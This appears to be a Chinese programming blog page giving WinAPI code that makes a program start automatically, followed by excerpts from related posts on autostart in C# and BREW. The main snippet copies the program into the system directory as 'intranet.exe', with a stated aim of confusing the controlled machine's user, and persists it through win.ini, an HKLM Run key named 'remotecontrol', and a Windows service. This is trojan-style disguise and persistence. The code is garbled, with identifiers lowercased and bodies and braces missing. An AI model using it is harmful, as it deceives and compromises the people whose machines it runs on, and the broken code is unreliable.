可以採用以下方式實現自啟動:
//拷貝到系統目錄
tchar temppath[max_path];
cstring temp;
::getsystemdirectory(temppath ,max_path);
temp = temppath;
temp = temp + _t("\\intranet.exe");
int len = temp.getlength();
lpbyte lpb = new byte[len];
for(int j = 0; j < len; j++)
lpb[j] = 0;
//把本程式拷貝到系統目錄下,並改名為intranet.exe,這樣做的目的是為了迷惑被控制端使用者
copyfile("autoboot.exe", temp ,false);
1.修改win.ini(c:\windows\win.ini)檔案:
writeprivateprofilestring(_t("windows"), _t("load"), temp, _t("c:\\windows\\win.ini"));
writeprivateprofilestring(_t("windows"), _t("run"), temp, _t("c:\\windows\\win.ini"));
2.採用載入登錄檔方式啟動:
hkey hkey;
lpctstr data_set="software\\microsoft\\windows\\currentversion\\run";
long ret0=(::regopenkeyex(hkey_local_machine,data_set,0,key_write,&hkey));
if(ret0 != error_success)
long ret1=(::regsetvalueex(hkey,_t("remotecontrol"),null,reg_sz,lpb,len));
if(ret1!=error_success)
//關閉登錄檔中的相應的項
::regclosekey(hkey);
3.註冊為系統服務:
void winapi servicemain(dword argc, lptstr *argv); //服務主函式
void winapi cmdstart(void); //要啟動的程式函式
void winapi servicectrlhandler(dword opcode); //服務控制函式
bool installservice(); //安裝服務的函式
bool deleteservice(); //刪除服務的函式
在main函式中執行下列:
service_table_entry dispatchtable=,}; //最後的null指明陣列的結束
startservicectrldispatcher(dispatchtable);
installservice(); //安裝服務
void winapi servicemain(dword argc, lptstr *argv)
void winapi servicectrlhandler(dword opcode) //服務控制函式
return;
}bool installservice() //安裝服務函式
bool deleteservice()
void winapi cmdstart(void)
C 實現程式開機自啟動
最近在做乙個自動備份檔案的小工具,需要用到開機自啟動 下面是 private void checkbox8 checkedchanged object sender,eventargs e 取消開機自啟動 else catch exception ex 第一種方法原理是直接把可執行檔案的快捷方式複製...
開機自啟動程式
昨天做了個brew開機自啟動的demo,在此記下該程式的要點。brew平台可以做到開機就自啟動brew 應用,這需要在mif中做如下設定 增加乙個notification aeeclsid shell 設定notififer aeeclsid shell 設定mask nmask shell ini...
C 開機自啟動
using microsoft.win32 新增命名空間 設定開機自啟動 寫入登錄檔 public static bool setselfstarting catch exception ex 取消開機自啟 刪除登錄檔 public static bool cancelselfstarting ca...